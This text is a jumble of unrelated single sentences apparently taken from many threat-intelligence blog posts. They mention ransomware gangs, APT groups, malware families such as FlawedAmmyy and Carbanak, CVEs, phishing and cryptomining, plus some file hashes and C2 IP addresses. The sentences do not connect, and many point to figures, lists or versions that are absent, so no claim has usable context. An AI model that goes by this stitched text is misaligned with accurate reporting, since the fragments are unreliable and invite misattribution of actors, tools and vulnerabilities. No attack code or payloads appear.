Investigating this group's activity, we determined they are an Initial Access Broker (IAB) who appear to be working with the Russian cyber crime gang known as FIN12 (Mandiant, FireEye) / WIZARD SPIDER (CrowdStrike).


The first step is to understand the scope of the problem.


It also protects organizations from email-based threats.


After decryption (using the same principle as with the main backdoor + stealer), the configuration reveals which file formats the attackers are targeting.


For each IP address the btdaemon service will attempt to make a connection on UDP ports 53, 80, 110, and 443.


DarkSide ransomware targets


Some of the samples employed several anti-sandboxing techniques including enlarged files, encrypted archive and download IP cloaking.


Based on the information they retrieve, the operators can then decide to instruct the malware to download the second stage payload.


The above image shows the vulnerability detected and all the assets related to the alert for further investigation.


The unpacked payload in memory is also a .DLL — it's the first time we've seen a FlawedAmmyy downloader as a .DLL.


1.a JS file  Trojan


Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.


We were also able to source a sample of Protux’s remote controller tool.


— HKTL_BLOODHOUND e5029808f78ec4a079e889e5823ee298edab34013e50a47c279b6dc4d57b1ffc (ssms.exe) — HKTL_PASSDUMP e530e16d5756cdc2862b4c9411ac3bb3b113bc87344139b4bfa2c35cd816e518 (w.exe)


In the Spring Framework version 2.5.6.SEC02, the vulnerability was fixed.


This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2021.


In our latest research, we can see the attackers behind Hancitor have been timing their attacks to happen during the busiest time of the global working week, the middle of the week.


The loaders decrypted the next-stage payloads, which were either embedded inside itself or stored on the disk as separate files.


Mongoose is an Object Data Modeling (ODM) library for MongoDB and Node.Js.


Both OAuth tokens and App Passwords are revoked when a user changes their password.


We also found other legitimate tools being abused by Earth Berberoka and a malware family being used by the group in its campaign:  Quasar RAT – a Windows-based open-source RAT that has been used by APT groups for network exploitation


Threat actors are always looking to expand the strategies they use, thus security practices and solutions that work for less organized cybercriminals might not work for determined groups who are willing to spend time, resources and manpower to accomplish their goals.


Perception of an “unsafe” business could turn customers towards competitors who can offer a better and more secure shopping experience.


However, other organizations and countries may have been targeted.


All rights reserved.


Schemes behind the attacks The attacks that target open-source web servers could lead to enormous threats.


We could not confirm the primary infection vector.


Kaseya recommends that any organization using VSA shut the system down immediately.


In exchange, they offer a cut of the paid ransom.


(See my recent webinar on trends in ransomware.)


However, in addition to the human factor, there are technical reasons.


We recommend that customers update their F5 BIG-IP deployments to one of the following versions that have patches to mitigate CVE-2022-1388:


Check out the complete results and more information on Trend Micro Vision One here: https://resources.trendmicro.com/MITRE-Attack-Evaluations.html.


Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.


This campaign started earlier today, and the malware uses the same techniques and even the same IOCs:  And only added two new hostnames:


Trend Micro™ endpoint security has vulnerability protection that shields endpoints from identified and unknown vulnerability exploits even before patches are even deployed.


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New variant: https://www.virustotal.com/gui/file/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db/detection


If you need to understand one thing about cybercrime, it’s that it is all about business.


3.      The “accept task” handler is the main handler used to process the command sent from the C&C server and to return the execution result.


The one we see mined most by attackers is called Monero.


You don’t want to be one of the 50 who got hit by a ransomware.


This particular IP was linked to a Contabo server that x4k had also included within their VirusTotal graph discussed above.


Mining provides the computing necessary to power the digital currency’s infrastructure.


In addition to our internal investigations, we work with law enforcement, industry partners, and third parties like specialized security firms to assess and share intelligence.


This is a critical point: these SMS-based IAPs are able to independently send, receive, or block any SMS to/from any cellphone on which they are installed, without the user having any idea this is occurring.


We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.


The only difference is that, in the background, a tiny piece of code will be stealing your data and transferring it to the hackers.


In addition, Palo Alto Networks, and other vendors, including our fellow members of the Cyber Threat Alliance, have released additional protections that help prevent the spread of the WanaCrypt0r ransomware.


Cloud Security Architecture


In the last week we’ve seen the attack vectors evolve to contain exploit kits as well.


AES encryption code  Figure 8.


In August, we started detecting updated copies of PClock, which has been improved upon by the malware author.


Determining who is behind a malware campaign can be a challenging endeavor.


However, the groups use not just the Carbanak backdoor but also other types of malware such as Pillowmint, a point-of-sale malware, and Tirion, which is said to be geared to replace Carbanak.


2. Listen to your fans or keep an eye on your CPU usage.


Read the full paper here.


We tried to find how this feature evolved across previous samples and the older SLUB samples.


Figure 6. Code snippet showing 9002 RAT checking the system time and setting itself to sleep in August 2018 Additional malware tools


The directive treats agencies to treat said machines as compromised, with credentials used by said machines to be changed as well.


According to the Google Play Store, these 87 apps have been downloaded more than 1.6 million times.


Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.


Targets typically had to navigate through at least one redirect before landing on a phishing domain.


The phishing typically started with a customized email introducing the company and its products.


In some cases, the most serious risk isn’t around the device but the data being stored in the cloud.


While it’s less common to see DDoS attacks rather than phishing or hacking campaigns coming from government-backed threat groups, we’ve seen bigger players increase their capabilities in launching large-scale attacks in recent years.


It immediately gained broad media attention, due to its destructive nature, how widespread it was, and multiple high profile victims.


This operation affected countries around the globe, but it appears that southeast Asia, northern Africa, and countries in South America were hit the most as shown below.  Malicious downloads by country  The specific breakout of countries affected, and their download counts are as follows:  Taking all those points together, this is operation is very large and clearly very effective.


One of APT35’s novel techniques involves using Telegram for operator notifications.


Additionally, the attacks targeted two banking institutions, PrivatBank and Oschadbank.


While it makes the text in the spreadsheet visible and so seems to solve the problem, it’s a trick: It’s really running a program that silently installs a program on the system.


However, the malicious actors behind this attack drop the Chopper web shell in the web directory folder to establish persistence.


They can be used to compromise an endpoint in the following way:  This functionality was leveraged in exploitation of CVE-2017-0199 - a Microsoft Office/WordPad remote code execution (RCE) vulnerability patched by Microsoft in September 2017, and was used in multiple campaigns, like this OilRig campaign.


Among the attempts, we found successful exploitation, which resulted in the Cerber Ransomware attack.


The GitHub account used by Winnti shows 12 different IP addresses, with various port numbers used for them.


They consist of a 592-byte structure containing essential information sent to the modules via pipes.


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Our research, Deciphering Confucius: A Look at the Group’s Cyberespionage Operations, delves into the group’s operations, the social engineering methods and gamut of malware it uses, and the countermeasures that organizations can adopt to mitigate them.


In short, it’s the digital equivalent of those physical skimming devices that criminals insert into ATMs to steal card data as it’s entered: it’s highly effective and happens completely without the knowledge of the cardholder.


If not, the hostname and IP address will be collected and appended to the existing compromised hosts’ information.


(NOTE: This exploit is not connected to the other three we’ve discussed above.)


Pandora backdoor samples with different tokens Based on our analysis, the Pandora backdoor contains more public code repositories compared with previous versions.


Instead of exfiltrating the files through PHP scripts, they were done via FTP server.


The script sends an HTTP GET request to a specified URL address and forwards the received response to Water Pamola’s server.


C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries


Unlike other window types in Android, Toast doesn’t require the same permissions, and so the mitigating factors that applied to previous overlay attacks don’t apply here.


This blog lists 13 identified security gaps that were assigned new CVE IDs found in the six most common DDS implementations, mostly concerning deployment.